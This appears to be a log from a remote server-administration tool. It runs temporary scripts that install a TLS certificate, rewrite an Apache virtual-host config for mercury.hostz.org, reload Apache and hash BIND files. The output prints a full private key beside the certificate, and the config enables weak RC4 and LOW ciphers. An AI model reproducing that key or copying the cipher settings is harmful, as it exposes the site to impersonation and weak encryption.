qM7WtfG6DOKqLzOJNw4u5jlBzEuo3aOWCyUe62KY7CGmbk2ZKnLsxKKJ9B7nbaps
xzhXoQa8cbfA54Wj75WN8ulK8QKBgQDPRmj/HM/TIaV3Q/dpfA8EQScDdBIoolUx
DWfcelHFifvLuKueMd8eofboW59tzOVO75Xdb0u0I+gAu7PhNjLF3LUkFhFrUvvD
1tt3/tUI3Z7nbLO4ZZE9VAo+vfJvJW3+rAnA9oS4r85FxEawq3zlGE5BdpTznlX/
/Na6YONhiQKBgQCAiaJktXvqWFoWZEJvuWjayLAbQb/MdRwxNyfT4+A/L9HQF7kP
ie3eabQv7tRa44s/OszCSZ/z2H3fv9ayRNfC8ncBDpPn+93dHCJkXI7a1NwIQPnc
KEKKMOqMLKB03m//uvofmV+nIwgkBifc+DO7JBh78tcuEsLEIK6tfm35YQKBgBHo
RV31AUd+WqtJJfDpFOsLLfGwb3kvPSj1vYlgz/u/Bg/9rmYGbP5ag9hjQgzcbNs6
+7mbyfCQQZT+onXMlupdPREXDv40tyeeQmvFimYvr3DTBVvi+n9P6WquQmmz1CLy
fg07vw+tsKZ6ZJkS18F7LhedxRSfE1MAZxTHFh3xAoGBAI9+dK16QntZjhQfxVFu
heyVkIv4WEBrcJ0fYCPXVpqAXHshQxHMQu4GMhmGGnRL7d5eun+kKNK7W0PFyivq
y8fPGNj6GGFxxMi5voRMT5uX5vuGpMy6AF/NSKlkJlqfUd8ZNPiTdOZNuqWZZ0kh
xrDwPUmYmaYBmcmScTyL7wpY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-14 06:00:18: 

chmod 755 /tmp/pkp609204; /tmp/pkp609204; rm /tmp/pkp609204

2026-02-14 06:00:18: 


dir=/etc/ssl/certs


2026-02-14 06:00:18: 

PUT: /tmp/pkp329798

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-14 06:00:18: 

chmod 755 /tmp/pkp329798; /tmp/pkp329798; rm /tmp/pkp329798

2026-02-14 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-14 06:00:19: 

PUT: /tmp/pkp520453

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi


2026-02-14 06:00:19: 

chmod 755 /tmp/pkp520453; /tmp/pkp520453; rm /tmp/pkp520453

2026-02-14 06:00:19: 




2026-02-14 06:00:19: 

PUT: /tmp/pkp799303

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-14 06:00:20: 

chmod 755 /tmp/pkp799303; /tmp/pkp799303; rm /tmp/pkp799303

2026-02-14 06:00:20: 


.


2026-02-14 06:00:20: Establishing a connection
2026-02-14 06:00:22: 

PUT: /tmp/pkp663069

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-14 06:00:23: 

chmod 755 /tmp/pkp663069; /tmp/pkp663069; rm /tmp/pkp663069

2026-02-14 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-14 06:00:23: 

PUT: /tmp/pkp478824

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-14 06:00:23: 

chmod 755 /tmp/pkp478824; /tmp/pkp478824; rm /tmp/pkp478824

2026-02-14 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-14 06:00:24: 

PUT: /tmp/pkp674924

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-14 06:00:24: 

chmod 755 /tmp/pkp674924; /tmp/pkp674924; rm /tmp/pkp674924

2026-02-14 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5352
7d:18:12:c1:e5:b4:eb:53:b1:55:fa:1d:a0:2a:ac:ff

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBgmwu0CMlHRvXirKQOBmD4nQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE0MDUwMTQyWhcNMjYwNTE1MDUwMTQxWjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKuSF/VdaUUmUpA5k+RInmMvXYY0MkOO1MaqRx2g8iMXLv4mG1kHIkfygyPv
KwHRKBJb7r2fl95gFKq6NNVDQNsWN4YzqrdC5ol0TZlr/ClZ1pPnD+cvm8ylvNPN
eGPmalH0QIYqQywEwWfFvHHWpVlgNlqutE0DnClbsnW1DvG39pSJYgVR/Jbjribj
WyTCHVwMFXUlJ5vmPaakjPO5008jkLb1zt+61J0Fk8yAEWN0V3rc3VejJ9VZACdz
bOMQV7bgJvePP2GOVnQz6JbRqTLqiAUgkzyyk1IobCQwYFUkJ4OzIqFKy5MJBckT
U2rIgzVPnTbxMjCrsTmcEzfxa/kCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR0
ybn2wSgO55oIY06VLMfwyVsVTDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcWrxAkwAABAMARjBEAiBZJUBHrrB+
nHjAVaaEHl6Uo8FZTucft/dPFUUQfQd83gIgcR1brkoJJvsW3ZshkYQ7fMrIFz2f
cb4PyaP7HXNpav8AfwBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZxavEEIAAgAAAUACWpmNgQDAEgwRgIhAN+Al4PizNzoDZoMuzOWzHIwGHv93TPM
ARhEnrRbEmDaAiEAvU1WQU4VQCGkRSXYnId5thN2/mCrfuLVMJ+hezOo7y0wDQYJ
KoZIhvcNAQELBQADggEBAHsF3caFHxVv8xD8BtkgIjoNZZEb/j4rH866rcJqVQQM
YvW9AEXWUmkFvOu9TFismVdCw/rJitqytiXV0UX5nMTwQNHlaC5WAJOT3YuLhsJy
VhTydvpbp7RB+XAGJhTqkd+tbLq1qUdVxp8gQV7XVIA1waQhakVqcjbYFHA7XPBu
cGIVB+Aa9gMBNl1ZKL83kBWIX6A7EgxIc9yOIBM8hXudKM1eqiJG3ZT+DJsRG337
w5uLwF5crOiUKbKPdZjdQ71FMHAerEjlwCk62rt+33YC8Noz4hnwL4LRJZXqEoHs
y30izn3AM8lcl3sAJP2jX6UWj93iHMPWktL5bubgkEA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCrkhf1XWlFJlKQ
OZPkSJ5jL12GNDJDjtTGqkcdoPIjFy7+JhtZByJH8oMj7ysB0SgSW+69n5feYBSq
ujTVQ0DbFjeGM6q3QuaJdE2Za/wpWdaT5w/nL5vMpbzTzXhj5mpR9ECGKkMsBMFn
xbxx1qVZYDZarrRNA5wpW7J1tQ7xt/aUiWIFUfyW464m41skwh1cDBV1JSeb5j2m
pIzzudNPI5C29c7futSdBZPMgBFjdFd63N1XoyfVWQAnc2zjEFe24Cb3jz9hjlZ0
M+iW0aky6ogFIJM8spNSKGwkMGBVJCeDsyKhSsuTCQXJE1NqyIM1T5028TIwq7E5
nBM38Wv5AgMBAAECggEAA3KWRILSpLyaoN8mHyqZTS8Ucxsm9FE60LDdm9IVWSCd
tZnXx5ctCHLuXe+pk3OL0x4E2xhctylPppq2IrlwRJH3fmm/UtSqmLhzftaRYy+h
sCHoey0RzxMfBOBxr7JsY6mm8/mfyF/Vlsn3SanTDR7xvkRMgPYs1Yg455eo1wq8
NduzeysevWL61vqr5z0ntJRnDqQHO0cFnhXoRDyUlp9P1jr7cR566PAsLNGi0ial
iQSQwqgVbvFb0IsaerTrLFTyDaMLD7vwO31/QOaHDPV1mZiMOnwFJTB+0RSmHDYU
M6C4iPxA9vFElEywKf3Rw/GP5GbwVAX/ftP/DZlr8QKBgQDT5wiAowDWB0RDu+Zr
+nCd9eVDLVDbY+h/XwRBwmMCYhGXqZ0b01F2k3vRf+5XPjuzOjN46Zd7WNbGdC+q
qM7WtfG6DOKqLzOJNw4u5jlBzEuo3aOWCyUe62KY7CGmbk2ZKnLsxKKJ9B7nbaps
xzhXoQa8cbfA54Wj75WN8ulK8QKBgQDPRmj/HM/TIaV3Q/dpfA8EQScDdBIoolUx
DWfcelHFifvLuKueMd8eofboW59tzOVO75Xdb0u0I+gAu7PhNjLF3LUkFhFrUvvD
1tt3/tUI3Z7nbLO4ZZE9VAo+vfJvJW3+rAnA9oS4r85FxEawq3zlGE5BdpTznlX/
/Na6YONhiQKBgQCAiaJktXvqWFoWZEJvuWjayLAbQb/MdRwxNyfT4+A/L9HQF7kP
ie3eabQv7tRa44s/OszCSZ/z2H3fv9ayRNfC8ncBDpPn+93dHCJkXI7a1NwIQPnc
KEKKMOqMLKB03m//uvofmV+nIwgkBifc+DO7JBh78tcuEsLEIK6tfm35YQKBgBHo
RV31AUd+WqtJJfDpFOsLLfGwb3kvPSj1vYlgz/u/Bg/9rmYGbP5ag9hjQgzcbNs6
+7mbyfCQQZT+onXMlupdPREXDv40tyeeQmvFimYvr3DTBVvi+n9P6WquQmmz1CLy
fg07vw+tsKZ6ZJkS18F7LhedxRSfE1MAZxTHFh3xAoGBAI9+dK16QntZjhQfxVFu
heyVkIv4WEBrcJ0fYCPXVpqAXHshQxHMQu4GMhmGGnRL7d5eun+kKNK7W0PFyivq
y8fPGNj6GGFxxMi5voRMT5uX5vuGpMy6AF/NSKlkJlqfUd8ZNPiTdOZNuqWZZ0kh
xrDwPUmYmaYBmcmScTyL7wpY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-14 14:19:10: Establishing a connection
2026-02-14 14:19:17: Establishing a connection
2026-02-14 14:19:17: 

PUT: /tmp/pkp859776

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-14 14:19:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp859776; rm /tmp/pkp859776'

2026-02-14 14:19:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
